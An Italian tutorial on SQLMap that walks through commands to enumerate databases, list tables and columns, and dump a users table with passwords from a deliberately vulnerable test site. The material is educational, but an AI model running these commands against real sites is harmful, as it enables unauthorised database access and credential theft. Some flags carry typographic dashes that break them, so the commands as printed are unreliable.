Come utilizzare SQLMap per trovare le vulnerabilità di SQL Injection
SQLMap è uno strumento open source che trova e sfrutta automaticamente le vulnerabilità di SQL injection. Puoi usarlo per testare le applicazioni Web per l'iniezione SQL e ottenere l'accesso a un database vulnerabile.
Per chi non lo sapesse, SQL injection è una tecnica di hacking web in cui l'attaccante inserisce codice dannoso in un'istruzione SQL.
Una volta che l'aggressore assume il controllo del database, può eseguire query SQL dannose contro il sito Web vulnerabile e può recuperare, modificare o eliminare le tabelle.
Queste query possono essere generate ed eseguite automaticamente da SQLMap.
Installa SQLMap
Puoi installare SQLMap su sistemi Linux basati su Debian usando il seguente comando:
apt install sqlmap
Per utilizzare SQLMap, è necessario identificare un sito Web vulnerabile a SQL injection. Nel mio caso, utilizzerò un sito Web intenzionalmente vulnerabile agli attacchi Web.
http://testphp.vulnweb.com/showforum.asp?id=1
Supponiamo che un sito Web elenchi le informazioni utilizzando un parametro id, ad esempio website.com/page.php?id=1.
Questo può essere passato come input a SQLMap e SQLMap analizzerà automaticamente il sito per vedere se il sito è vulnerabile agli attacchi SQL.
Quindi, usa il seguente comando sul tuo sistema Linux:
sqlmap -u http://testphp.vulnweb.com/showforum.asp?id=1 --dbs
Il flag -u viene utilizzato per specificare un URL e il comando —dbs indica a SQLMap di provare a enumerare il database.
Ottengo il seguente output che mostra che ci sono sette database disponibili.
Recupera le tabelle del database
Ora cerchiamo le tabelle nel database di acublog con il seguente comando:
sqlmap -u http://testphp.vulnweb.com/showforum.asp?id=1 --tables –D acublog
Elenca informazioni da una tabella specifica
Se vuoi visualizzare le colonne di una particolare tabella, puoi usare il seguente comando:
sqlmap -u http://testphp.vulnweb.com/showforum.asp?id=1 --columns -D acublog –T users
L'ultimo passaggio consiste nel scaricare e decifrare la password dalla tabella degli utenti utilizzando il seguente comando:
sqlmap -u http://testphp.vulnweb.com/showforum.asp?id=1 --dump -D acublog –T users
Conclusione
SQLMap è un potente strumento che ti aiuta a trovare le vulnerabilità di SQL injection. È importante che gli sviluppatori Web abbiano familiarità con SQLMap per difendersi dagli attacchi SQL injection.
Grazie per aver letto!

![Che cos'è un elenco collegato, comunque? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































